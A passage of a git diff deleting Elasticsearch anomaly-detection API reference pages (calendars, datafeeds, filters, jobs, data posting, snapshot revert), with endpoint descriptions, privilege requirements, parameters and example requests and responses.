-
-`start_time`:::
-(Required, date) The timestamp for the beginning of the scheduled event in
-milliseconds since the epoch or ISO 8601 format.
-====
-
-[[ml-post-calendar-event-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/calendars/planned-outages/events
-{
-  "events" : [
-    {"description": "event 1", "start_time": 1513641600000, "end_time": 1513728000000},
-    {"description": "event 2", "start_time": 1513814400000, "end_time": 1513900800000},
-    {"description": "event 3", "start_time": 1514160000000, "end_time": 1514246400000}
-  ]
-}
---------------------------------------------------
-// TEST[skip:setup:calendar_outages_addjob]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "events": [
-    {
-      "description": "event 1",
-      "start_time": 1513641600000,
-      "end_time": 1513728000000,
-      "calendar_id": "planned-outages"
-    },
-    {
-      "description": "event 2",
-      "start_time": 1513814400000,
-      "end_time": 1513900800000,
-      "calendar_id": "planned-outages"
-    },
-    {
-      "description": "event 3",
-      "start_time": 1514160000000,
-      "end_time": 1514246400000,
-      "calendar_id": "planned-outages"
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/post-data.asciidoc b/docs/reference/ml/anomaly-detection/apis/post-data.asciidoc
deleted file mode 100644
index 42b385a5159..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/post-data.asciidoc
+++ /dev/null
@@ -1,110 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-post-data]]
-= Post data to jobs API
-++++
-<titleabbrev>Post data to jobs</titleabbrev>
-++++
-
-Sends data to an anomaly detection job for analysis.
-
-[[ml-post-data-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/<job_id>/_data`
-
-[[ml-post-data-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-post-data-desc]]
-== {api-description-title}
-
-The job must have a state of `open` to receive and process the data.
-
-The data that you send to the job must use the JSON format. Multiple JSON
-documents can be sent, either adjacent with no separator in between them or
-whitespace separated. Newline delimited JSON (NDJSON) is a possible whitespace
-separated format, and for this the `Content-Type` header should be set to
-`application/x-ndjson`.
-
-Upload sizes are limited to the Elasticsearch HTTP receive buffer size
-(default 100 Mb). If your data is larger, split it into multiple chunks
-and upload each one separately in sequential time order. When running in
-real time, it is generally recommended that you perform many small uploads,
-rather than queueing data to upload larger files.
-
-When uploading data, check the job data counts for progress.
-The following documents will not be processed:
-
-* Documents not in chronological order and outside the latency window
-* Records with an invalid timestamp
-
-IMPORTANT:  For each job, data can only be accepted from a single connection at
-a time. It is not currently possible to post data to multiple jobs using wildcards
-or a comma-separated list.
-
-[[ml-post-data-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-[[ml-post-data-query-parms]]
-== {api-query-parms-title}
-
-`reset_start`::
-		(Optional, string) Specifies the start of the bucket resetting range.
-
-`reset_end`::
-		(Optional, string) Specifies the end of the bucket resetting range.
-
-[[ml-post-data-request-body]]
-== {api-request-body-title}
-
-A sequence of one or more JSON documents containing the data to be analyzed.
-Only whitespace characters are permitted in between the documents.
-
-[[ml-post-data-example]]
-== {api-examples-title}
-
-The following example posts data from the `it_ops_new_kpi.json` file to the
-`it_ops_new_kpi` job:
-
-[source,js]
---------------------------------------------------
-$ curl -s -H "Content-type: application/json"
--X POST http:\/\/localhost:9200/_ml/anomaly_detectors/it_ops_new_kpi/_data
---data-binary @it_ops_new_kpi.json
---------------------------------------------------
-
-When the data is sent, you receive information about the operational progress of
-the job. For example:
-
-[source,js]
-----
-{
-	"job_id":"it_ops_new_kpi",
-	"processed_record_count":21435,
-	"processed_field_count":64305,
-	"input_bytes":2589063,
-	"input_field_count":85740,
-	"invalid_date_count":0,
-	"missing_field_count":0,
-	"out_of_order_timestamp_count":0,
-	"empty_bucket_count":16,
-	"sparse_bucket_count":0,
-	"bucket_count":2165,
-	"earliest_record_timestamp":1454020569000,
-	"latest_record_timestamp":1455318669000,
-	"last_data_time":1491952300658,
-	"latest_empty_bucket_timestamp":1454541600000,
-	"input_record_count":21435
-}
-----
-
-For more information about these properties, see <<ml-get-job-stats-results>>.
diff --git a/docs/reference/ml/anomaly-detection/apis/preview-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/preview-datafeed.asciidoc
deleted file mode 100644
index e36f9cc9cd5..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/preview-datafeed.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-preview-datafeed]]
-= Preview {dfeeds} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Preview {dfeeds}</titleabbrev>
-++++
-
-Previews a {dfeed}.
-
-[[ml-preview-datafeed-request]]
-== {api-request-title}
-
-`GET _ml/datafeeds/<datafeed_id>/_preview`
-
-[[ml-preview-datafeed-prereqs]]
-== {api-prereq-title}
-
-* If {es} {security-features} are enabled, you must have `monitor_ml`, `monitor`,
-`manage_ml`, or `manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-preview-datafeed-desc]]
-== {api-description-title}
-
-The preview {dfeeds} API returns the first "page" of results from the `search`
-that is created by using the current {dfeed} settings. This preview shows the
-structure of the data that will be passed to the anomaly detection engine.
-
-IMPORTANT: When {es} {security-features} are enabled, the {dfeed} query is
-previewed using the credentials of the user calling the preview {dfeed} API.
-When the {dfeed} is started it runs the query using the roles of the last user
-to create or update it. If the two sets of roles differ then the preview may
-not accurately reflect what the {dfeed} will return when started. To avoid
-such problems, the same user that creates or updates the {dfeed} should preview
-it to ensure it is returning the expected data. Alternatively, use
-<<http-clients-secondary-authorization,secondary authorization headers>> to
-supply the credentials.
-
-[[ml-preview-datafeed-path-parms]]
-== {api-path-parms-title}
-
-`<datafeed_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id]
-
-[[ml-preview-datafeed-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET _ml/datafeeds/datafeed-high_sum_total_sales/_preview
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-The data that is returned for this example is as follows:
-
-[source,console-result]
-----
-[
-  {
-    "order_date" : 1575504259000,
-    "category.keyword" : "Men's Clothing",
-    "customer_full_name.keyword" : "Sultan Al Benson",
-    "taxful_total_price" : 35.96875
-  },
-  {
-    "order_date" : 1575504518000,
-    "category.keyword" : [
-      "Women's Accessories",
-      "Women's Clothing"
-    ],
-    "customer_full_name.keyword" : "Pia Webb",
-    "taxful_total_price" : 83.0
-  },
-  {
-    "order_date" : 1575505382000,
-    "category.keyword" : [
-      "Women's Accessories",
-      "Women's Shoes"
-    ],
-    "customer_full_name.keyword" : "Brigitte Graham",
-    "taxful_total_price" : 72.0
-  },
-  ...
-]
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/put-calendar-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-calendar-job.asciidoc
deleted file mode 100644
index 93ea1b2156c..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/put-calendar-job.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-put-calendar-job]]
-= Add {anomaly-jobs} to calendar API
-++++
-<titleabbrev>Add jobs to calendar</titleabbrev>
-++++
-
-Adds an {anomaly-job} to a calendar.
-
-[[ml-put-calendar-job-request]]
-== {api-request-title}
-
-`PUT _ml/calendars/<calendar_id>/jobs/<job_id>`
-
-[[ml-put-calendar-job-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-put-calendar-job-path-parms]]
-== {api-path-parms-title}
-
-`<calendar_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=calendar-id]
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection-list]
-
-[[ml-put-calendar-job-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-PUT _ml/calendars/planned-outages/jobs/total-requests
---------------------------------------------------
-// TEST[skip:setup:calendar_outages_openjob]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "calendar_id": "planned-outages",
-  "job_ids": [
-    "total-requests"
-  ]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/put-calendar.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-calendar.asciidoc
deleted file mode 100644
index d39ed5c7ef1..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/put-calendar.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-put-calendar]]
-= Create calendars API
-++++
-<titleabbrev>Create calendars</titleabbrev>
-++++
-
-Instantiates a calendar.
-
-[[ml-put-calendar-request]]
-== {api-request-title}
-
-`PUT _ml/calendars/<calendar_id>`
-
-[[ml-put-calendar-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-put-calendar-desc]]
-== {api-description-title}
-
-For more information, see
-{ml-docs}/ml-calendars.html[Calendars and scheduled events].
-
-[[ml-put-calendar-path-parms]]
-== {api-path-parms-title}
-
-`<calendar_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=calendar-id]
-
-[[ml-put-calendar-request-body]]
-== {api-request-body-title}
-
-`description`::
-  (Optional, string) A description of the calendar.
-
-[[ml-put-calendar-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-PUT _ml/calendars/planned-outages
---------------------------------------------------
-// TEST[skip:need-license]
-
-When the calendar is created, you receive the following results:
-
-[source,console-result]
-----
-{
-  "calendar_id": "planned-outages",
-  "job_ids": []
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/put-datafeed.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-datafeed.asciidoc
deleted file mode 100644
index 7bc529bfba2..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/put-datafeed.asciidoc
+++ /dev/null
@@ -1,145 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-put-datafeed]]
-= Create {dfeeds} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Create {dfeeds}</titleabbrev>
-++++
-
-Instantiates a {dfeed}.
-
-[[ml-put-datafeed-request]]
-== {api-request-title}
-
-`PUT _ml/datafeeds/<feed_id>`
-
-[[ml-put-datafeed-prereqs]]
-== {api-prereq-title}
-
-* You must create an {anomaly-job} before you create a {dfeed}.  
-* If {es} {security-features} are enabled, you must have `manage_ml` or `manage`
-cluster privileges to use this API. See <<security-privileges>> and
-{ml-docs-setup-privileges}.
-
-[[ml-put-datafeed-desc]]
-== {api-description-title}
-
-{ml-docs}/ml-dfeeds.html[{dfeeds-cap}] retrieve data from {es} for analysis by
-an {anomaly-job}. You can associate only one {dfeed} to each {anomaly-job}.
-
-The {dfeed} contains a query that runs at a defined interval (`frequency`). If
-you are concerned about delayed data, you can add a delay (`query_delay`) at
-each interval. See {ml-docs}/ml-delayed-data-detection.html[Handling delayed data].
-
-[IMPORTANT]
-====
-* You must use {kib} or this API to create a {dfeed}. Do not put a
-{dfeed} directly to the `.ml-config` index using the {es} index API. If {es}
-{security-features} are enabled, do not give users `write` privileges on the
-`.ml-config` index.
-* When {es} {security-features} are enabled, your {dfeed} remembers which roles
-the user who created it had at the time of creation and runs the query using
-those same roles. If you provide
-<<http-clients-secondary-authorization,secondary authorization headers>>, those
-credentials are used instead.
-====
-
-[[ml-put-datafeed-path-parms]]
-== {api-path-parms-title}
-
-`<feed_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=datafeed-id]
-
-[role="child_attributes"]
-[[ml-put-datafeed-request-body]]
-== {api-request-body-title}
-
-`aggregations`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=aggregations]
-
-`chunking_config`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=chunking-config]
-
-`delayed_data_check_config`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=delayed-data-check-config]
-
-`frequency`::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=frequency]
-
-`indices`::
-(Required, array)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices]
-
-`job_id`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`max_empty_searches`::
-(Optional,integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=max-empty-searches]
-
-`query`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=query]
-
-`query_delay`::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=query-delay]
-
-`script_fields`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=script-fields]
-
-`scroll_size`::
-(Optional, unsigned integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=scroll-size]
-
-`indices_options`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=indices-options]
-
-
-[[ml-put-datafeed-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-PUT _ml/datafeeds/datafeed-total-requests
-{
-  "job_id": "total-requests",
-  "indices": ["server-metrics"]
-}
---------------------------------------------------
-// TEST[skip:setup:server_metrics_job]
-
-When the {dfeed} is created, you receive the following results:
-
-[source,console-result]
-----
-{
-  "datafeed_id": "datafeed-total-requests",
-  "job_id": "total-requests",
-  "query_delay": "83474ms",
-  "indices": [
-    "server-metrics"
-  ],
-  "query": {
-    "match_all": {
-      "boost": 1.0
-    }
-  },
-  "scroll_size": 1000,
-  "chunking_config": {
-    "mode": "auto"
-  }
-}
-----
-// TESTRESPONSE[s/"query_delay": "83474ms"/"query_delay": $body.query_delay/]
-// TESTRESPONSE[s/"query.boost": "1.0"/"query.boost": $body.query.boost/]
diff --git a/docs/reference/ml/anomaly-detection/apis/put-filter.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-filter.asciidoc
deleted file mode 100644
index a4c66b9ce04..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/put-filter.asciidoc
+++ /dev/null
@@ -1,70 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-put-filter]]
-= Create filters API
-++++
-<titleabbrev>Create filters</titleabbrev>
-++++
-
-Instantiates a filter.
-
-[[ml-put-filter-request]]
-== {api-request-title}
-
-`PUT _ml/filters/<filter_id>`
-
-[[ml-put-filter-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-put-filter-desc]]
-== {api-description-title}
-
-A {ml-docs}/ml-rules.html[filter] contains a list of strings. 
-It can be used by one or more jobs. Specifically, filters are referenced in 
-the `custom_rules` property of detector configuration objects. 
-
-[[ml-put-filter-path-parms]]
-== {api-path-parms-title}
-
-`<filter_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=filter-id]
-
-[[ml-put-filter-request-body]]
-== {api-request-body-title}
-
-`description`::
-  (Optional, string) A description of the filter.
-  
-`items`::
-  (Required, array of strings) The items of the filter. A wildcard `*` can be
-  used at the beginning or the end of an item. Up to 10000 items are allowed in
-  each filter.
-
-[[ml-put-filter-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-PUT _ml/filters/safe_domains
-{
-  "description": "A list of safe domains",
-  "items": ["*.google.com", "wikipedia.org"]
-}
---------------------------------------------------
-// TEST[skip:need-licence]
-
-When the filter is created, you receive the following response:
-
-[source,console-result]
-----
-{
-  "filter_id": "safe_domains",
-  "description": "A list of safe domains",
-  "items": ["*.google.com", "wikipedia.org"]
-}
-----
diff --git a/docs/reference/ml/anomaly-detection/apis/put-job.asciidoc b/docs/reference/ml/anomaly-detection/apis/put-job.asciidoc
deleted file mode 100644
index 4a779ee2f52..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/put-job.asciidoc
+++ /dev/null
@@ -1,356 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-put-job]]
-= Create {anomaly-jobs} API
-++++
-<titleabbrev>Create jobs</titleabbrev>
-++++
-
-Instantiates an {anomaly-job}.
-
-[[ml-put-job-request]]
-== {api-request-title}
-
-`PUT _ml/anomaly_detectors/<job_id>`
-
-[[ml-put-job-prereqs]]
-== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-put-job-desc]]
-== {api-description-title}
-
-IMPORTANT: You must use {kib} or this API to create an {anomaly-job}. Do not put
-a job directly to the `.ml-config` index using the {es} index API. If {es}
-{security-features} are enabled, do not give users `write` privileges on the
-`.ml-config` index.
-
-[[ml-put-job-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection-define]
-
-[role="child_attributes"]
-[[ml-put-job-request-body]]
-== {api-request-body-title}
-
-`allow_lazy_open`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-lazy-open]
-
-//Begin analysis_config
-[[put-analysisconfig]]`analysis_config`::
-(Required, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=analysis-config]
-+
-.Properties of `analysis_config`
-[%collapsible%open]
-====
-`bucket_span`:::
-(<<time-units,time units>>)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=bucket-span]
-
-`categorization_analyzer`:::
-(object or string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=categorization-analyzer]
-
-`categorization_field_name`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=categorization-field-name]
-
-`categorization_filters`:::
-(array of strings)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=categorization-filters]
-
-//Begin analysis_config.detectors
-`detectors`:::
-(array) An array of detector configuration objects. Detector configuration
-objects specify which data fields a job analyzes. They also specify which
-analytical functions are used. You can specify multiple detectors for a job. 
-+
-NOTE: If the `detectors` array does not contain at least one detector,
-no analysis can occur and an error is returned.
-+
-.Properties of `detectors`
-[%collapsible%open]
-=====
-`by_field_name`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=by-field-name]
-
-//Begin analysis_config.detectors.custom_rules
-[[put-customrules]]`custom_rules`::::
-(array)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules]
-+
-.Properties of `custom_rules`
-[%collapsible%open]
-======
-
-`actions`:::
-(array)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-actions]
-
-//Begin analysis_config.detectors.custom_rules.conditions
-`conditions`:::
-(array)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-conditions]
-+
-.Properties of `conditions`
-[%collapsible%open]
-=======
-`applies_to`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-conditions-applies-to]
-
-`operator`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-conditions-operator]
-
-`value`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-conditions-value]
-=======
-//End analysis_config.detectors.custom_rules.conditions
-
-//Begin analysis_config.detectors.custom_rules.scope
-`scope`:::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-scope]
-+
-.Properties of `scope`
-[%collapsible%open]
-=======
-`filter_id`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-scope-filter-id]
-
-`filter_type`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-rules-scope-filter-type]
-=======
-//End analysis_config.detectors.custom_rules.scope
-======
-//End analysis_config.detectors.custom_rules
-
-`detector_description`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=detector-description]
-
-`detector_index`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=detector-index]
-+
-If you specify a value for this property, it is ignored.
-
-`exclude_frequent`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=exclude-frequent]
-
-`field_name`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=detector-field-name]
-
-`function`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=function]
-
-`over_field_name`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=over-field-name]
-
-`partition_field_name`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=partition-field-name]
-
-`use_null`::::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=use-null]
-=====
-//End analysis_config.detectors
-
-`influencers`:::
-(array of strings)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=influencers]
-
-`latency`:::
-(<<time-units,time units>>)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=latency]
-
-`multivariate_by_fields`:::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=multivariate-by-fields]
-
-//Begin analysis_config.per_partition_categorization
-`per_partition_categorization`:::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=per-partition-categorization]
-+
-.Properties of `per_partition_categorization`
-[%collapsible%open]
-=====
-`enabled`::::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=per-partition-categorization-enabled]
-
-`stop_on_warn`::::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=per-partition-categorization-stop-on-warn]
-=====
-//End analysis_config.per_partition_categorization
-
-`summary_count_field_name`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=summary-count-field-name]
-====
-//End analysis_config
-
-//Begin analysis_limits
-[[put-analysislimits]]`analysis_limits`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=analysis-limits]
-+
-.Properties of `analysis_limits`
-[%collapsible%open]
-====
-`categorization_examples_limit`:::
-(long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=categorization-examples-limit]
-
-`model_memory_limit`:::
-(long or string) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-memory-limit]
-====
-//End analysis_limits
-
-`background_persist_interval`::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=background-persist-interval]
-
-[[put-customsettings]]`custom_settings`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=custom-settings]
-
-//Begin data_description
-[[put-datadescription]]`data_description`::
-(Required, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=data-description]
-//End data_description
-
-`daily_model_snapshot_retention_after_days`::
-(Optional, long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=daily-model-snapshot-retention-after-days]
-
-`description`::
-(Optional, string) A description of the job.
-
-`groups`::
-(Optional, array of strings)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=groups]
-
-//Begin model_plot_config
-`model_plot_config`::
-(Optional, object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-plot-config]
-+
-.Properties of `model_plot_config`
-[%collapsible%open]
-====
-`annotations_enabled`:::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-plot-config-annotations-enabled]
-
-`enabled`:::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-plot-config-enabled]
-
-`terms`:::
-experimental[] (string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-plot-config-terms]
-====
-//End model_plot_config
-
-`model_snapshot_retention_days`::
-(Optional, long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=model-snapshot-retention-days]
-
-`renormalization_window_days`::
-(Optional, long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=renormalization-window-days]
-
-`results_index_name`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=results-index-name]
-
-`results_retention_days`::
-(Optional, long)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=results-retention-days]
-
-[[ml-put-job-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-PUT _ml/anomaly_detectors/total-requests
-{
-  "description" : "Total sum of requests",
-  "analysis_config" : {
-    "bucket_span":"10m",
-    "detectors": [
-      {
-        "detector_description": "Sum of total",
-        "function": "sum",
-        "field_name": "total"
-      }
-    ]
-  },
-  "data_description" : {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}
---------------------------------------------------
-
-When the job is created, you receive the following results:
-
-[source,console-result]
-----
-{
-  "job_id" : "total-requests",
-  "job_type" : "anomaly_detector",
-  "job_version" : "7.5.0",
-  "description" : "Total sum of requests",
-  "create_time" : 1562352500629,
-  "analysis_config" : {
-    "bucket_span" : "10m",
-    "detectors" : [
-      {
-        "detector_description" : "Sum of total",
-        "function" : "sum",
-        "field_name" : "total",
-        "detector_index" : 0
-      }
-    ],
-    "influencers" : [ ]
-  },
-  "analysis_limits" : {
-    "model_memory_limit" : "1024mb",
-    "categorization_examples_limit" : 4
-  },
-  "data_description" : {
-    "time_field" : "timestamp",
-    "time_format" : "epoch_ms"
-  },
-  "model_snapshot_retention_days" : 10,
-  "daily_model_snapshot_retention_after_days" : 1,
-  "results_index_name" : "shared",
-  "allow_lazy_open" : false
-}
-----
-// TESTRESPONSE[s/"job_version" : "7.5.0"/"job_version" : $body.job_version/]
-// TESTRESPONSE[s/1562352500629/$body.$_path/]
diff --git a/docs/reference/ml/anomaly-detection/apis/revert-snapshot.asciidoc b/docs/reference/ml/anomaly-detection/apis/revert-snapshot.asciidoc
deleted file mode 100644
index e0790527728..00000000000
--- a/docs/reference/ml/anomaly-detection/apis/revert-snapshot.asciidoc
+++ /dev/null
@@ -1,118 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-revert-snapshot]]
-= Revert model snapshots API
-++++
-<titleabbrev>Revert model snapshots</titleabbrev>
-++++
-
-Reverts to a specific snapshot.
-
-[[ml-revert-snapshot-request]]
-== {api-request-title}
-
-`POST _ml/anomaly_detectors/<job_id>/model_snapshots/<snapshot_id>/_revert`
-
-[[ml-revert-snapshot-prereqs]]
-== {api-prereq-title}
-
-* Before you revert to a saved snapshot, you must close the job.
-* If the {es} {security-features} are enabled, you must have `manage_ml` or
-`manage` cluster privileges to use this API. See
-<<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-[[ml-revert-snapshot-desc]]
-== {api-description-title}
-
-The {ml-features} reacts quickly to anomalous input, learning new
-behaviors in data. Highly anomalous input increases the variance in the models
-whilst the system learns whether this is a new step-change in behavior or a
-one-off event. In the case where this anomalous input is known to be a one-off,
-then it might be appropriate to reset the model state to a time before this
-event. For example, you might consider reverting to a saved snapshot after Black
-Friday or a critical system failure.
-
-NOTE: Reverting to a snapshot does not change the `data_counts` values of the 
-{anomaly-job}, these values are not reverted to the earlier state.
-
-
-[[ml-revert-snapshot-path-parms]]
-== {api-path-parms-title}
-
-`<job_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-anomaly-detection]
-
-`<snapshot_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=snapshot-id]
-
-
-[[ml-revert-snapshot-request-body]]
-== {api-request-body-title}
-
-`delete_intervening_results`::
-  (Optional, Boolean) If true, deletes the results in the time period between
-  the latest results and the time of the reverted snapshot. It also resets the
-  model to accept records for this time period. The default value is false.
-
-NOTE: If you choose not to delete intervening results when reverting a snapshot,
-the job will not accept input data that is older than the current time.
-If you want to resend data, then delete the intervening results.
-
-
-[[ml-revert-snapshot-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/high_sum_total_sales/model_snapshots/1575402237/_revert
-{
-  "delete_intervening_results": true
-}
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-
-When the operation is complete, you receive the following results:
-[source,js]
-----
-{
-  "model" : {
-    "job_id" : "high_sum_total_sales",
-    "min_version" : "6.4.0",
-    "timestamp" : 1575402237000,
-    "description" : "State persisted due to job close at 2019-12-03T19:43:57+0000",
-    "snapshot_id" : "1575402237",
-    "snapshot_doc_count" : 1,
-    "model_size_stats" : {
-      "job_id" : "high_sum_total_sales",
-      "result_type" : "model_size_stats",
-      "model_bytes" : 1638816,
-      "model_bytes_exceeded" : 0,
-      "model_bytes_memory_limit" : 10485760,
-      "total_by_field_count" : 3,
-      "total_over_field_count" : 3320,
-      "total_partition_field_count" : 2,
-      "bucket_allocation_failures_count" : 0,
-      "memory_status" : "ok",
-      "categorized_doc_count" : 0,
-      "total_category_count" : 0,
-      "frequent_category_count" : 0,
-      "rare_category_count" : 0,
-      "dead_category_count" : 0,
-      "failed_category_count" : 0,
-      "categorization_status" : "ok",
-      "log_time" : 1575402237000,
-      "timestamp" : 1576965600000
-    },
